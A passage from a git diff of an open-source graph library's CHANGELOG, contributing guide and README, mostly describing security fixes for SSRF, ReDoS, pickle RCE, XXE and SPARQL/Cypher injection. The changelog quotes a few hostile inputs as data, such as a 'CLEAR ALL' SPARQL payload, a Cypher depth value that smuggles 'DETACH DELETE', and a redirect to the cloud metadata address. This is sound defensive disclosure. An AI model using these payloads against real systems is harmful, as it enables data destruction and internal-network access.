`ModuleNotFoundError` on import and `AttributeError` on `.run()`** (#858, closes #858) by @Karunasagar12 + - `from .pipeline import Pipeline` failed because `semantica/pipeline/pipeline.py` does not exist; corrected to `from .pipeline_builder import Pipeline` + - `.run()` called `self._pipeline.run()` on the `Pipeline` dataclass, which has no such method; replaced with `self._engine.execute_pipeline(self._pipeline, ...)` delegating to `ExecutionEngine` + - Constructor now accepts a built `Pipeline` instance (from `PipelineBuilder.build()`) instead of `**config`; the old `Pipeline(**config)` internal construction was invalid and never functional + - Replaced deprecated `datetime.utcnow()` with `datetime.now(timezone.utc)` in `run()` + - **`VectorStore.search_vectors()` returned inconsistent result shapes across backend implementations** (#853, closes #845) by @Sameer6305, reviewed by @KaifAhmad1 - Every built-in backend (FAISS, Milvus, pgvector, Pinecone, Qdrant, SQLite-vec, Weaviate, in-memory) now returns the same canonical `SearchResult` shape (`id`, `score`, `metadata`, `vector`, `distance`), instead of some backends omitting `vector`/`metadata`/`distance` or, for Weaviate, returning a backend-specific `properties` key instead of `metadata` - Added a `SearchResult` `TypedDict` (`semantica/vector_store/vector_store.py`, exported from `semantica.vector_store`) documenting the contract; `metadata` now always defaults to `{}` rather than being absent, and `id` accepts `Union[str, int]` to accommodate Milvus/Qdrant's native integer IDs without casting @@ -244,6 +477,57 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 ### Security +- **DNS check-then-use hardening for the ontology URL fetcher, and a remaining object-IRI validation gap** (#916, follow-up to GHSA-8c7v-62gr-hj6g and GHSA-8vgg-8mr4-r236) by @KaifAhmad1 + - **DNS check-then-use (TOCTOU) window**: GHSA-8c7v-62gr-hj6g's own fix description flagged this as a secondary gap — `_validate_fetch_url()` resolved and validated a hostname once, but `_fetch_url_sync()` then let `requests` resolve the same hostname again independently at connect time. A low-TTL or rebinding DNS answer could differ between the two lookups, reopening the SSRF window the validation exists to close + - `_validate_fetch_url()` now returns the validated IP, and a new `_make_pinned_session()` builds a per-hop `requests.Session` whose connection pool is pinned directly to that IP — bypassing DNS resolution for the connection entirely — while explicitly restoring the real hostname as the outgoing HTTP `Host` header and, for HTTPS, the TLS SNI `server_hostname`/`assert_hostname`, so the connection reaches the validated IP but still presents (and is verified against) the real hostname's identity, keeping virtual hosting and certificate validation correct + - Caught during implementation: an earlier draft set urllib3's `_dns_host` post-construction, assuming (as in some urllib3 releases) that it was decoupled from `host`. In the version this project installs (2.7.0), `host` is a property that reads/writes `_dns_host` directly, so that approach would have silently changed the Host header too — caught by an end-to-end test against a real local server before landing, rather than shipping. Verified with real (non-mocked) local HTTP and HTTPS servers, the latter using a generated self-signed certificate to prove SNI/cert-hostname verification checks the real hostname rather than the pinned IP, plus a negative control confirming a hostname/cert mismatch is still correctly rejected, not silently bypassed + - **Object-IRI validation gap** (GHSA-8vgg-8mr4-r236 follow-up, distinct from the object-branch fix already shipped in #911): a triplet object already wrapped in `<...>` skipped `sparql_escaping.validate_uri()` in both `blazegraph_store.py` and `rdf4j_store.py`'s `_format_object_for_sparql`/`_format_object_for_ntriples`, only checking the inner content for a literal space or `>` — the pre-wrapped and unwrapped branches now validate identically + - **Fixed along the way** (caught in automated review across two follow-up rounds): `_validate_fetch_url()` originally pinned to only the first resolved IP, so a hostname with multiple A/AAAA records would fail outright if that specific address was unreachable — it now returns every validated IP and `_make_pinned_session()` falls back through all of them, verified by pinning to a genuinely unreachable address followed by a working one and confirming the fetch still succeeds; the test HTTPS server allowed TLSv1/TLSv1.1 by not setting a minimum version, now pinned to TLSv1.2; and when an HTTP(S) proxy applied, pinning was silently skipped in favor of the unpinned path — proxies are now disabled outright for this fetcher (`session.trust_env = False`, so `HTTP_PROXY`/`HTTPS_PROXY` env vars are never consulted) with a fail-closed 502 backstop if a proxy is ever forced onto the session some other way, verified by pointing `HTTP_PROXY` at an address that would fail if actually used and confirming the fetch still succeeds directly + - New `tests/explorer/test_ontology_dns_pinning.py` (12 tests: real local HTTP/HTTPS servers including 2 real-TLS checks, multi-IP fallback success/failure, and no-proxy-trust verification — gracefully skipped without the optional `cryptography` package where applicable); updated `tests/explorer/test_ontology_ssrf.py` for the new per-hop session construction; 4 new tests in `tests/triplet_store/test_sparql_injection.py` for the object-IRI fix. Full `explorer` + `triplet_store` suite: 572 passed + +- **Missing Origin validation on the `/ws/graph-updates` WebSocket handshake** (#917, GHSA-4643-wpgq-w329) by @KaifAhmad1 + - `CORSMiddleware` doesn't cover WebSocket handshakes at all (Starlette's CORS support only wraps HTTP), so under `SEMANTICA_ALLOW_ANONYMOUS=true` — the mode `docker-compose.dev.yml` ships — the anonymous-mode key bypass accepted a `/ws/graph-updates` connection from any origin. Loopback binding isn't a boundary against a browser: any page the operator has open can still reach `ws://localhost:8000/ws/graph-updates` directly, and `ConnectionManager.broadcast` sends every `graph_mutation` to every connected socket with no per-connection scoping. Combined with `/api/import` accepting `multipart/form-data` (a CORS-safelisted content type that skips preflight), a hostile page could write to the graph over REST and read the result back over the unauthenticated WebSocket + - Not affected: any deployment with `SEMANTICA_API_KEY` configured — the handshake already rejects without a valid key in that mode. This was an anonymous-mode-only, development-configuration exposure + - Fix: check the handshake's `Origin` header against `app.state.explorer_settings['allowed_origins']` — the same list `CORSMiddleware` already enforces for HTTP — before the key check. A missing `Origin` (native/CLI clients, which never set the header) is still allowed through, since the browser is the only threat this closes + - 4 new tests in `tests/explorer/test_explorer_auth.py`: hostile Origin rejected under anonymous mode; hostile Origin rejected even with a correct key (Origin is checked first, so a leaked key alone can't hijack the socket); an allowlisted Origin still connects; a missing Origin still connects. Full `explorer` suite: 226 passed + +- **Polynomial-time ReDoS in the SPARQL route's `_PREFIX_DECL` regex** (#915, CodeQL `py/polynomial-redos`) by @Sameer6305 + - The prior pattern's trailing `\s*` overlapped with the preceding `<[^>]*>` IRI-body match on inputs containing no closing `>` (e.g. `base<` followed by thousands of `!<` repetitions), forcing the regex engine to explore every possible split between the two quantifiers — O(n²) backtracking reachable from `req.query` via `_is_read_only_query()` + - Fixed by making the two quantifiers character-disjoint: horizontal whitespace only (`[ \t]`, never overlapping the IRI body) instead of `\s*`, and excluding CR/LF from the IRI body (`[^>\r\n]*`) so it can never span a line boundary. Independently verified: the exact pathological payload (`base<` + `!<` × 5,000/20,000) scales linearly (0.238ms → 0.841ms for 4x input, not the ~16x a surviving quadratic blowup would show) + - Added `_SPARQL_MAX_QUERY_LEN = 10_000` as defense-in-depth, checked in `execute_sparql()` before any regex work so a future pattern regression stays bounded regardless + - Two correctness regressions raised in review were checked and did not reproduce: comment-then-prefix stripping order means an inline comment after a `PREFIX` line (`PREFIX ex: <...> # comment`) is already gone by the time `_PREFIX_DECL` runs, verified directly against the pipeline; and the allowlist's `.sub()`-based cleaning only ever affects the yes/no decision, never the query actually sent to `graph.query()` — so even the narrow case of a multi-line string literal that happens to start a line with the literal text `PREFIX` or `BASE` can only cause a legitimate query to be wrongly rejected, never let something malicious through, since rdflib's parser still gates whatever actually executes + - 20 new/updated tests in `tests/explorer/test_sparql_route.py` and `tests/test_security_regression.py` (inline prologues, CRLF line endings, multi-line CRLF prefix chains, oversized-query rejection). 225 `explorer` + 82 SPARQL-specific tests passing + +- **SPARQL injection via unvalidated triplet IRIs** (#911, GHSA-8vgg-8mr4-r236) by @KaifAhmad1 + - `Triplet.subject`/`.predicate` (and, in some builders, `.object`) were interpolated directly into SPARQL update/query strings in the Blazegraph and RDF4J stores, and into a SELECT filter in the Jena store. A subject containing `>` closes the `<...>` IRI token early, so the rest of the value is parsed as more SPARQL. Entity names are document text in the normal ingest pipeline, so anyone whose content gets processed could append operations like `CLEAR ALL`, running with the application's store credentials + - Applied the existing `sparql_escaping.validate_uri` (already used by `anzo_store.py`, the one backend that was already hardened — this generalizes its approach rather than inventing a new one) at every subject/predicate/object interpolation site: `blazegraph_store.py`'s `_build_insert_data`, `_triplets_to_rdf`, `bulk_load`'s `graph` option, `get_triplets`'s filter, and `delete_triplet`; `rdf4j_store.py`'s `_triplets_to_ntriples`, `get_triplets`'s filter, and `delete_triplet`; `jena_store.py`'s `get_triplets`'s filter (the only vulnerable site there — `add_triplets`/`delete_triplet` already use rdflib's native `Graph.add`/`.remove` with `URIRef` rather than building query strings) + - **Fixed along the way** (caught in review, by @ZohaibHassan16): `_format_object_for_sparql`'s URI branch — used when a triplet's *object* is itself a URI rather than a literal — only checked for spaces and `>` inline instead of running the same `validate_uri` check applied to subject/predicate, leaving the object position as a narrower but real gap in both Blazegraph and RDF4J. Also fixed test flakiness in `RDF4JStore`'s test fixtures, which weren't mocking `_connect()` and so were making real network calls + - New `tests/triplet_store/test_sparql_injection.py` (12+ tests) reproducing the advisory's own injection payload (`http://example.com/a> ... ; CLEAR ALL ; INSERT DATA { ...`) against all three backends' write and read paths, asserting the malicious query is never built or sent. Full triplet_store suite: 330+ tests passing + - Side note, not part of this fix: found that `jena_store.py`'s `get_triplets()` builds syntactically invalid SPARQL for its WHERE-clause filters (missing a `FILTER()`/separator before the equality conditions) — a pre-existing correctness bug, unrelated to the injection fix, left alone here and worth a separate follow-up + +- **Cypher injection via unvalidated node labels, relationship types, and property keys** (#910, GHSA-482h-hw99-h62p) by @KaifAhmad1 + - Node labels and property keys passed to `create_node`/`create_relationship` were interpolated directly into Cypher strings in the Neptune, Neo4j, and FalkorDB graph stores. Property *values* are parameterized, but labels and keys can't be bound as query parameters, and nothing validated them — so a document-derived entity type or property name (the normal ingest path) could close the current Cypher token early and append arbitrary statements (e.g. `DETACH DELETE`), running with the application's database credentials + - New shared `semantica/graph_store/query_sanitize.py`: `sanitize_identifier()` generalizes `age_store.py`'s existing `_sanitize_label`/`_sanitize_rel_type` (the only backend that already validated this) into a helper the other backends import without an import cycle with `graph_store.py`/`methods.py` + - Applied at every label/relationship-type/property-key interpolation site in `amazon_neptune.py`, `neo4j_store.py`, `falkordb_store.py`, `graph_store.py` (`degree_centrality`'s own query builder), and `methods.py` (`update_relationship`'s own query builder) — covers `create_node`, `create_nodes`, `create_relationship`, `get_nodes`, `get_relationships`, `get_neighbors`, `shortest_path`, `update_node`, `create_index`, and all relationship-type filters across the three backends + - **Fixed along the way** (caught in review, by @Sameer6305): `depth`/`max_depth` path-length parameters are meant to be integers, but `Neo4jStore.get_neighbors()`/`shortest_path()` interpolated them into the Cypher variable-length-path syntax (`*1..{depth}`) without coercion — unlike the Neptune/FalkorDB equivalents, which already cast to `int()`. A string `depth` (e.g. `"1]->(x) DETACH DELETE x //"`) reached the query verbatim. Added the same `int()` coercion Neptune/FalkorDB already had, plus `GraphStore.get_neighbors()`'s `hops`/`depth` alias resolution + - New `tests/graph_store/test_cypher_injection.py` (unit tests on `sanitize_identifier` plus the labels/keys/rel-types injection payload run against Neptune/Neo4j/FalkorDB `create_node`/`create_relationship`, asserting the malicious query is never built or sent) and the depth-coercion regression above; plus additions to `tests/test_graph_store.py` (`degree_centrality`) and `tests/test_graph_store_methods.py` (`update_relationship`). Full graph_store suite: 224+ tests passing + +- **4 critical/high vulnerabilities in the Explorer API and vector store: RCE, SSRF, XXE, and DoS, plus Cypher/SPARQL injection hardening found along the way** (#898) by @Sunil56224972 + - **[CWE-502] Arbitrary code execution via `pickle.load()`**: `VectorStore.save()`/`load()` used `pickle` for the on-disk `store_data.pkl`; a crafted `.pkl` file placed in the store directory (file upload, shared filesystem, or supply-chain compromise) could execute arbitrary code on deserialization. Replaced with JSON — vectors and metadata are fully JSON-serializable, so nothing is lost — and `load()` now refuses any legacy `.pkl` file it finds with a migration error rather than deserializing it + - **[CWE-918] SSRF via redirect bypass in `ontology.py`'s URL fetcher**: `_validate_fetch_url()` correctly blocked private/loopback/reserved addresses on the caller-supplied URL, but `_fetch_url_sync()` fetched with `allow_redirects=True`, so a validated *public* first hop could 302 to `http://169.254.169.254/...` (cloud instance metadata) or an internal service, and `requests` followed it with no re-check. Redirects are now followed manually, capped at 5 hops, with `_validate_fetch_url()` re-run against every hop's target — including relative `Location` headers, resolved via `urljoin()` before validation — and every response (redirect or final) is explicitly closed to avoid leaking connections back to the pool + - **[CWE-611] XXE injection in the RDF/XML parser**: `_safe_parse_rdf()` depended on `defusedxml` for XXE protection, but `defusedxml` wasn't declared in `pyproject.toml`'s `explorer` extra, so it was silently absent in normal installs and the code fell back to a bare warning plus unsafe parsing — a crafted RDF/XML ontology with an external entity could read arbitrary server files. Added `defusedxml>=0.7.1` to the extra, and `_safe_parse_rdf()` now fails closed: it raises rather than parsing untrusted RDF/XML if `defusedxml` isn't importable, replacing an earlier regex-based DOCTYPE-stripping fallback that was reviewed and rejected as bypassable + - **[CWE-770] DoS via unbounded SPARQL graph materialization**: `_build_rdflib_graph()` loaded up to 999,999 nodes and 999,999 edges into memory per query, and with up to 4 concurrent SPARQL requests permitted, an attacker could exhaust server memory. Added a 50,000 node/edge cap (`_SPARQL_MAX_GRAPH_NODES`); oversized graphs now return a clean error instead of attempting materialization + - **Cypher injection via Apache AGE's `graph_name` and `$$`-delimiter breakout**: `graph_name` was interpolated unvalidated into `cypher('{graph_name}', $$ ... $$)`, and raw Cypher query text containing `$$` could close AGE's dollar-quoted string delimiter early and append arbitrary SQL. `graph_name` is now validated against the same identifier allowlist `age_store.py` already used for labels/relationship types, and any query containing `$$` is rejected outright + - **SPARQL Explorer route (`/api/sparql`) hardened against comment/PREFIX-hiding bypass**: `_is_read_only_query()` now strips comments and PREFIX/BASE declarations before checking the leading keyword, and additionally scans the full query body for SPARQL Update keywords (INSERT/DELETE/DROP/LOAD/CLEAR/CREATE/COPY/MOVE/ADD) — so `SELECT ... ; DROP ALL` is now rejected by the keyword scan itself rather than relying solely on rdflib's parser + - **Fixed along the way** (maintainer follow-up, addressing automated review findings and a regression introduced across several rounds of iteration on the original fix): + - `VectorStore.save()`'s numpy handling used `list(v)` for the JSON fallback path, which produces `numpy.float32` elements that `json.dump()` can't serialize — changed to `v.tolist()` + - the SPARQL graph-size `ValueError` was raised outside `execute_sparql()`'s exception handling and surfaced as an unhandled 500 instead of a clean API error — moved inside + - every streamed `requests` response in the ontology redirect loop, including the one actually read and returned, is now closed in a `finally` block — a connection-pool leak that a rework of the redirect logic had briefly reintroduced after an earlier fix + - a later commit meant to add opt-in API-key auth (`explorer/auth.py`, gated on `EXPLORER_API_KEY`) instead **replaced and silently disabled** the `Depends(require_auth)` enforcement already merged into `main` for GHSA-j4mq-hprp-987v (Critical — unauthenticated Explorer API), removed the `/ws/graph-updates` handshake check, and — unlike `require_auth` — failed *open* (allowed all requests) whenever its key was unset. Merging that version would have silently reverted an already-fixed Critical CVE the moment this branch landed. Removed `explorer/auth.py`; restored the per-router `Depends(require_auth)` wiring and the WebSocket auth check; kept the one genuine improvement in that commit (adding `X-API-Key` to the CORS `allow_headers` list) by folding it into the existing CORS config + - the new SPARQL keyword-scan's comment-stripping regex (`#[^\n]*`) also matched the `#` inside standard RDF namespace IRIs (e.g. `.../1999/02/22-rdf-syntax-ns#`), corrupting any query with a normal `rdf:`/`rdfs:`-style `PREFIX` declaration — caught because the hardening's own bundled tests failed against two of its own cases. Fixed by only treating `#` as a comment-start at line-start or after whitespace; the companion `PREFIX`/`BASE` regex was also fixed to accept bare `BASE <...>` declarations, which have no prefix-name token between the keyword and the IRI + - New/updated regression tests: `tests/explorer/test_ontology_ssrf.py` (redirect re-validation, relative-redirect resolution, response closing, redirect-cap enforcement), `tests/test_security_regression.py` (Cypher/SPARQL injection, XXE, numpy serialization, SSRF redirect handling), plus additions to `tests/explorer/test_sparql_route.py`, `tests/vector_store/test_vector_store.py`, and `tests/explorer/test_explorer_auth.py` + - Note: the Cypher-injection hardening here is scoped to `age_store.py`'s `graph_name`/`$$` breakout, found while reviewing this PR. The broader label/property-key/relationship-type injection across the Neptune, Neo4j, and FalkorDB backends (GHSA-482h-hw99-h62p, #910) and the triplet-store SPARQL injection across Blazegraph/RDF4J/Jena (GHSA-8vgg-8mr4-r236, #911) are covered by separate, still-open PRs, as is the unauthenticated-Explorer-API fix referenced above (GHSA-j4mq-hprp-987v, #909, already merged) + - **CI/CD supply-chain hardening against mutable-tag Action compromise (LiteLLM/Trivy-class attack)** (#824) by @KaifAhmad1 - Every third-party GitHub Action across all 8 workflows is now pinned to a full commit SHA instead of a mutable tag (`@v7` → `@3d3c42e... # v7`), closing the exact vector used against LiteLLM in March 2026 (a compromised Trivy Action tag stole a long-lived publishing token) - Added `verify-action-pins.yml` + `.github/scripts/verify-action-pins.sh`: a CI check that fails closed on any `uses:` reference that isn't a full SHA (catching a newly introduced mutable tag, not just auditing existing pins) and re-verifies every pin against the GitHub API on each workflow change, on push to `main`, and weekly; an unresolvable API lookup is treated as a failure rather than a silent skip diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 0de8809f..8a6c5c44 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -2,20 +2,20 @@ Thank you for your interest in contributing! Every contribution, no matter how small, is valuable. 🎉 -⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)** +⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)** -> **New to contributing?** Start with a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community. +> **New to contributing?** Start with a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or join our [Discord](https://discord.gg/sV34vps5hH) community. --- ## 🚀 Quick Start -1. Find a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) -2. [Fork Semantica](https://github.com/Hawksight-AI/semantica/fork) & clone the repository +1. Find a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) +2. [Fork Semantica](https://github.com/semantica-agi/semantica/fork) & clone the repository 3. Make your changes 4. Submit a pull request! -**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions) +**Need help?** Join [Discord](https://discord.gg/sV34vps5hH) or [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) --- @@ -25,9 +25,9 @@ If you want to work on an open GitHub issue, please follow these steps to keep t 1. **Check the issue.** Look at the issue's assignees and recent comments. If someone is already actively working on it, consider a different issue or ask in the comments whether help is welcome. -2. **Comment before you start.** Leave a comment on the issue saying you'd like to work on it — something like *"I'd like to take this on"* is enough. This gives maintainers the context they need to assign the issue appropriately. +2. **Comment if you'd like the issue reserved.** Leaving a comment like *"I'd like to take this on"* is the fastest way to get assigned, but it isn't required — maintainers can also assign an issue directly to a contributor (e.g., based on recent activity in the repo) without waiting for a comment first. -3. **Wait for assignment.** A maintainer will review the request and assign the issue when appropriate. Please wait for this before investing significant time in implementation, as priorities and approaches can shift. +3. **Wait for assignment.** A maintainer will assign the issue when appropriate, whether or not a comment was left. Please wait for this before investing significant time in implementation, as priorities and approaches can shift. 4. **Create a branch and implement.** Once assigned, fork the repository (if you haven't already), create a dedicated branch, and begin your work. @@ -37,9 +37,23 @@ If you want to work on an open GitHub issue, please follow these steps to keep t 5. **Open a focused PR and link the issue.** When you're ready, open a pull request and reference the issue in the description (e.g., `Closes #123`). Keep the PR scoped to the work described in the issue. -> **Why this matters:** Commenting before opening a PR helps maintainers track who is working on what, assign issues correctly, and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code. +> **Why this matters:** Assignment (with or without a comment) helps maintainers track who is working on what and prevent two contributors from solving the same problem independently. It also gives you a chance to align on the expected approach before writing code. -Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight-AI/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH). +Not sure where to start? Try a [`good first issue`](https://github.com/semantica-agi/semantica/labels/good%20first%20issue) or ask in [Discord](https://discord.gg/sV34vps5hH). + +--- + +## 🔀 Duplicate PRs & Issue Priority + +When more than one pull request targets the same issue, maintainers triage using this order of priority. These rules decide between PRs that are otherwise following the [assignment workflow above](#-working-on-an-existing-issue) — opening a PR before being assigned doesn't grant priority on its own, and an unassigned PR can still be closed as a duplicate once someone else is assigned to the issue. + +1. **Contributor-raised issue with an existing PR.** If the person who opened the issue has also opened a PR for it, that PR is prioritized (they still need to be assigned before it's merged). +2. **Maintainer-raised issue with a claim comment.** If we opened the issue and someone has commented asking to work on it, we assign it to them and check their PR before picking up any other PR for the same issue. +3. **No prior assignment or comment.** If multiple PRs exist and no one was assigned or claimed the issue first, priority goes to whichever contributor has the most consistent activity in the repo over the last 60 days (e.g., merged PRs, substantive reviews, or issue triage participation) — not just PR volume. +4. **Late duplicate PRs.** If a PR is opened after another contributor has already been assigned to the issue, we close the duplicate early rather than let it sit open, and point the author to another open issue (or ask them to check `main` for newly opened ones). This avoids contributors spending time updating a PR that won't be merged. +5. **Overlapping scope.** If a PR covers multiple issues, or there's genuine overlap between competing PRs, maintainers discuss it on [Discord](https://discord.gg/sV34vps5hH) before deciding rather than resolving it unilaterally. + +**Why this matters:** it keeps triage predictable, avoids wasted contributor effort on PRs that won't merge, and helps retain active contributors. --- @@ -102,7 +116,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight **What:** Report bugs you find -**How:** Use the [bug report template](https://github.com/Hawksight-AI/semantica/issues/new?template=bug_report.md) +**How:** Use the [bug report template](https://github.com/semantica-agi/semantica/issues/new?template=bug_report.md) **Include:** Description, steps to reproduce, expected vs actual behavior, environment details @@ -112,7 +126,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight **What:** Suggest new features or improvements -**How:** Use the [feature request template](https://github.com/Hawksight-AI/semantica/issues/new?template=feature_request.md) +**How:** Use the [feature request template](https://github.com/semantica-agi/semantica/issues/new?template=feature_request.md) **Include:** Problem statement, proposed solution, use cases @@ -132,7 +146,7 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight **What:** Help others in the community -**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions) +**Where:** [Discord](https://discord.gg/sV34vps5hH), [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) **Examples:** Answer questions, review PRs, share your projects @@ -159,12 +173,12 @@ Not sure where to start? Try a [`good first issue`](https://github.com/Hawksight ### 1. Fork & Clone -First, [fork Semantica](https://github.com/Hawksight-AI/semantica/fork) on GitHub, then: +First, [fork Semantica](https://github.com/semantica-agi/semantica/fork) on GitHub, then: ```bash git clone https://github.com/your-username/semantica.git cd semantica -git remote add upstream https://github.com/Hawksight-AI/semantica.git +git remote add upstream https://github.com/semantica-agi/semantica.git ``` ### 2. Set Up Environment @@ -181,6 +195,39 @@ pip install -e ".[dev]" pre-commit install ``` +### Pinned CI dependencies + +`requirements-ci.txt` pins every transitive dependency at exact versions so CI, +security scans, and release builds install the same packages every run (the +Python equivalent of `explorer/package-lock.json` + `npm ci`). It is a +**separate build environment**: every package carries a SHA-256 hash +(`--generate-hashes`), so installs are reproducible and supply-chain safe — +never install into your local dev environment from it. + +Regenerate it after changing `pyproject.toml` dependencies: + +```bash +pip install uv==0.12.1 +uv pip compile pyproject.toml --python-version 3.11 --extra all --generate-hashes -o requirements-ci.txt +``` + +The `all` extra is the repo's cross-platform dependency set (GPU extras like +`faiss-gpu`/`cupy` are excluded and installed separately on Linux — see +`pyproject.toml`). Keep the pinned `uv` version in sync with CI so regeneration +is deterministic. + +CI's staleness check re-resolves with the committed lockfile as a constraint +and compares version lines only: upstream package releases never fail CI — +the lockfile changes only when `pyproject.toml` changes intentionally. + +CI fails if `requirements-ci.txt` is stale relative to `pyproject.toml` +(the version-line comparison detects new/removed/changed dependencies). + +Build-system pins: `[build-system].requires` is pinned to exact versions +(`setuptools==84.0.0`, `wheel==0.48.0`) and release builds run +`python -m build --no-isolation` against the lockfile — no unpinned +build-time isolation anywhere. + ### 3. Create Branch ```bash @@ -351,8 +398,8 @@ result = instance.method() ## 🆘 Getting Help - 💬 [Discord](https://discord.gg/sV34vps5hH) - Real-time chat -- 💭 [GitHub Discussions](https://github.com/Hawksight-AI/semantica/discussions) - Q&A -- 🐛 [GitHub Issues](https://github.com/Hawksight-AI/semantica/issues) - Bug reports +- 💭 [GitHub Discussions](https://github.com/semantica-agi/semantica/discussions) - Q&A +- 🐛 [GitHub Issues](https://github.com/semantica-agi/semantica/issues) - Bug reports **Before asking:** Check existing documentation, search issues/discussions, review cookbook examples @@ -387,4 +434,4 @@ This project follows a [Code of Conduct](CODE_OF_CONDUCT.md). Be respectful and Every contribution matters - whether it's a single line of code, a typo fix, a helpful answer, or a bug report. We appreciate you! 🙏 -⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/Hawksight-AI/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)** +⭐ **Give us a Star** • 🍴 **[Fork Semantica](https://github.com/semantica-agi/semantica/fork)** • 💬 **Join our [Discord](https://discord.gg/sV34vps5hH)** diff --git a/CONTRIBUTORS.md b/CONTRIBUTORS.md index 014f0e53..336ece42 100644 --- a/CONTRIBUTORS.md +++ b/CONTRIBUTORS.md @@ -101,7 +101,7 @@ When using the all-contributors bot, use these codes: - `infra` - Infrastructure - `maintenance` - Maintenance -See [all-contributors specification](https://allcontributors.org/docs/en/emoji-key) for complete list. +See [all-contributors specification](https://github.com/all-contributors/all-contributors#emoji-key) for complete list. --- diff --git a/README.md b/README.md index 745c54e4..49a4c57c 100644 --- a/README.md +++ b/README.md @@ -2,7 +2,15 @@ Semantica -semantica-agi%2Fsemantica | Trendshift +
+ + semantica-agi/semantica | Trendshift + + + + semantica-agi/semantica | Trendshift + +
### Graph-Native Infrastructure for Context and Accountable AI Systems @@ -52,6 +60,8 @@ Most AI agents act without a trail. They store embeddings, not meaning: context Semantica sits underneath your LLM, vector store, and agent framework as a deterministic infrastructure layer: no LLM required for graph construction, reasoning, or provenance. +> ⚠️ **System-level explainability, not foundation-model explainability.** Semantica does not expose or reconstruct what happens *inside* the LLM — its internal reasoning or chain-of-thought stays opaque, as it does for any external system. Semantica explains what's *outside* the model: the context and data fed in, the decision produced, its provenance, relevant relationships, applied policies, and the full execution trail. + **Who it's for:** - **AI/ML platform teams** shipping agents that make consequential decisions and need structured, queryable context built from fragmented raw data, not just a vector index @@ -77,7 +87,7 @@ Semantica sits underneath your LLM, vector store, and agent framework as a deter - **Graph Analytics:** Centrality, community detection, link prediction, and shortest-path queries over the graph you just built - **Polyglot Graph Storage:** Native RDF (embedded Oxigraph, Blazegraph, Apache Jena, Eclipse RDF4J via SPARQL) and Labeled Property Graphs (Neo4j, FalkorDB, Apache AGE, AWS Neptune via Cypher), plus vector stores, all swappable without touching your code - **Visualization:** Explore any graph, ontology, or timeline in an interactive browser workbench -- **Drop-in Integrations:** Native Agno support, a full-featured MCP server, a comprehensive CLI, a REST API, and plugins across major editors +- **Drop-in Integrations:** Native Agno and CrewAI support, a full-featured MCP server, a comprehensive CLI, a REST API, and plugins across major editors --- @@ -132,7 +142,7 @@ compliant = graph.check_decision_rules({"category": "vendor_selection"}) # poli ```bash semantica doctor # Python 3.11.9 pass -# semantica 0.6.0 pass +# semantica 0.6.5 pass # faiss vector store pass # Config file pass ~/.semantica/config.yaml ``` @@ -293,17 +303,10 @@ graph.add_causal_relationship(d1, d2, relationship_type="CAUSED") prov.track_entity("patient_P4821", source="ehr/medication_orders_2024.json", metadata={"extractor": "NamedEntityRecognizer"}) -# Export W3C PROV-O for regulator submission - RDFExporter expects -# {"entities": [...], "relationships": [...]}, so map ContextGraph.to_dict()'s -# {"nodes": [...], "edges": [...]} shape onto it first -graph_dict = graph.to_dict() -kg = { - "entities": [{"id": n["id"], "type": n["type"], "text": n["content"]} for n in graph_dict["nodes"]], - "relationships": [ - {"source_id": e["source"], "target_id": e["target"], "type": e["type"]} - for e in graph_dict["edges"] - ], -} +# Export W3C PROV-O for regulator submission - to_kg_dict() is the official +# adapter that emits the {"entities": [...], "relationships": [...]} / +# source_id shape RDFExporter expects, so no manual field mapping is needed +kg = graph.to_kg_dict() RDFExporter().export(kg, "audit_trail.ttl", format="turtle") ``` @@ -877,20 +880,14 @@ fact = BiTemporalFact( recorded_at=datetime(2024, 3, 5), ) -# Query facts valid within a time window - query_time_range() expects -# {"relationships": [...]} with source_id/target_id keys, which differs from -# ContextGraph.to_dict()'s {"nodes", "edges"} shape, so map it first -graph_dict = graph.to_dict() -kg_relationships = { - "relationships": [ - {**e, "source_id": e["source"], "target_id": e["target"]} - for e in graph_dict["edges"] - ] -} +# Query facts valid within a time window - to_kg_dict() is the official +# adapter that emits {"entities", "relationships"} with source_id/target_id +# keys, the shape query_time_range() expects (no manual mapping required) +kg = graph.to_kg_dict() tq = TemporalGraphQuery() facts_in_window = tq.query_time_range( - kg_relationships, query="valid_facts", start_time="2024-01-01", end_time="2024-12-31" + kg, query="valid_facts", start_time="2024-01-01", end_time="2024-12-31" ) # Normalize natural language temporal expressions - returns a (start, end) range @@ -1189,7 +1186,7 @@ Start with `semantica`, verify with `doctor`, build a graph, and explore the com ## Integrations -Native plugin bundles for Claude Code, Cursor, Codex, Windsurf, Cline, Continue, VS Code, and OpenClaw; a full-featured MCP server for any MCP-compatible client; a comprehensive REST API; and first-class Agno support for multi-agent shared context. Every major LLM provider is already supported via `semantica.llms` and LiteLLM: OpenAI, Anthropic, Gemini, Mistral, Llama, Groq, Cohere, Azure, Bedrock, Ollama, DeepSeek, HuggingFace, and more. +Native plugin bundles for Claude Code, Cursor, Codex, Windsurf, Cline, Continue, VS Code, and OpenClaw; a full-featured MCP server for any MCP-compatible client; a comprehensive REST API; and first-class Agno and CrewAI 